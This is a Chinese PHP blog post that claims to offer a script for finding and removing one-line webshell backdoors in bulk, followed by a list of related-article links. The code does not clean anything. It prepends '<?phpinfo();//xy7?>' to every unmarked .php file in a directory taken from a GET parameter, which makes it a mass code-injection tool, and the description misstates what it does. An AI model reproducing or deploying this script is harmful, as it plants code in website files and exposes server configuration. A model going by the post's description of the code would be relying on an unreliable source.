用php实现批量查询清除一句话后门的代码


Posted in PHP onJanuary 20, 2008

总是忘记一句话放到哪个文件里去了,直接全部干掉...

<?//xy7  
if (!isset($dir) or empty($dir)) {  
$dir=str_replace('\\','/',dirname(__FILE__));  
echo "<font color=\"#00688B\">".$dir."</font>";  
} else {  
$dir=$_GET['dir'];  
echo "<font color=\"#00688B\">".$dir."</font>";  
}  
$evilcode="<?phpinfo();//xy7?>";  
$testdir = opendir($dir);  
while($filea = @readdir($testdir)){  
if(strstr($filea, '.php')){  
$fp = @fopen($filea, 'r+');  
if (!strstr(@fread($fp, 20), 'xy7')){  
rewind($fp);  
$old = @fread($fp, filesize($filea));  
rewind($fp);  
fwrite($fp, $evilcode . $old);  
}  
fclose($fp);  
}  
}  
closedir($testdir);  
?>  
<hr>  
<table width="100%" border="0" cellpadding="3" cellspacing="1">  
<tr>  
<td><b>被X的文件</b></td>  
<td><b>时间</b></td>  
<td><b>大小</b></td>  
</tr>  
<?php  
$dirs=@opendir($dir);  
while ($file=@readdir($dirs)) {  
if ((is_file($file)) and (ereg("\.php{0,1}$",$file)))  
{$b="$dir/$file";  
$a=@is_dir($b);  
if($a=="0"){  
$size=@filesize("$dir/$file");  
$lastsave=@date("Y-n-d H:i:s",filectime("$dir/$file"));  
echo "<tr>\n";  
echo "<td>$file</td>\n";  
echo " <td>$lastsave</td>\n";  
echo " <td>$size Bytes</td>\n";  
}  
}  
}  
@closedir($dirs);  
?>  
</table> 
codz by xuanmumu 
PHP 相关文章推荐
在线竞拍系统的PHP实现框架(二)
Oct 09 PHP
ADODB类使用
Nov 25 PHP
PHP通过session id 实现session共享和登录验证的代码
Jun 03 PHP
MySQL 日期时间函数常用总结
Jun 12 PHP
php获取目标函数执行时间示例
Mar 04 PHP
php页面缓存方法小结
Jan 10 PHP
PHP 验证登陆类分享
Mar 13 PHP
smarty模板判断数组为空的方法
Jun 10 PHP
php中array_multisort对多维数组排序的方法
Jun 21 PHP
php实现微信支付之现金红包
May 30 PHP
PHP接入支付宝接口失效流程详解
Nov 10 PHP
PHP获取真实IP及IP模拟方法解析
Nov 24 PHP
asp和php下textarea提交大量数据发生丢失的解决方法
Jan 20 #PHP
php开发工具之vs2005图解
Jan 12 #PHP
java EJB 加密与解密原理的一个例子
Jan 11 #PHP
apache rewrite_module模块使用教程
Jan 10 #PHP
支持php4、php5的mysql数据库操作类
Jan 10 #PHP
让PHP支持页面回退的两种方法
Jan 10 #PHP
php下使用SMTP发邮件的代码
Jan 10 #PHP
You might like
php获取文件类型和文件信息的方法
2015/07/10 PHP
PHP实现动态压缩js与css文件的方法
2018/05/02 PHP
jQuery实现鼠标滑过Div层背景变颜色的方法
2015/02/17 Javascript
javascript笛卡尔积算法实现方法
2015/04/08 Javascript
JavaScript实现的encode64加密算法实例分析
2015/04/15 Javascript
jQuery中常用的遍历函数用法实例总结
2015/09/01 Javascript
jquery实现点击弹出可放大居中及关闭的对话框(附demo源码下载)
2016/05/10 Javascript
json的使用小结
2016/06/08 Javascript
利用jQuery实现打字机字幕效果实例代码
2016/09/02 Javascript
JS实现仿PS的调色板效果完整实例
2016/12/21 Javascript
从零开始用electron手撸一个截屏工具的示例代码
2018/10/10 Javascript
React Native中Mobx的使用方法详解
2018/12/04 Javascript
JS实现从对象获取对象中单个键值的方法示例
2019/06/05 Javascript
vue用elementui写form表单时,在label里添加空格操作
2020/08/13 Javascript
基于JS实现操作成功之后自动跳转页面
2020/09/25 Javascript
Python的垃圾回收机制深入分析
2014/07/16 Python
Python字符串拼接、截取及替换方法总结分析
2016/04/13 Python
详解python调度框架APScheduler使用
2017/03/28 Python
python logging日志模块的详解
2017/10/29 Python
python使用Pycharm创建一个Django项目
2018/03/05 Python
python中使用zip函数出现错误的原因
2018/09/28 Python
django项目登录中使用图片验证码的实现方法
2019/08/15 Python
浅谈Django2.0 加xadmin踩的坑
2019/11/15 Python
Python实现一个简单的毕业生信息管理系统的示例代码
2020/06/08 Python
python中把元组转换为namedtuple方法
2020/12/09 Python
基于html5 DeviceOrientation 实现微信摇一摇功能
2015/09/25 HTML / CSS
英国复古皮包品牌:Beara Beara
2018/07/18 全球购物
铭立家具面试题
2012/12/06 面试题
仓库保管员岗位职责
2013/12/20 职场文书
企业内部培训方案
2014/02/04 职场文书
创业大赛策划书
2014/03/01 职场文书
高中生的自我评价
2014/03/04 职场文书
交通安全寄语大全
2014/04/08 职场文书
年终奖发放方案
2014/06/02 职场文书
详解CSS玩转图片Base64编码
2021/05/25 HTML / CSS
MySQL中order by的使用详情
2021/11/17 MySQL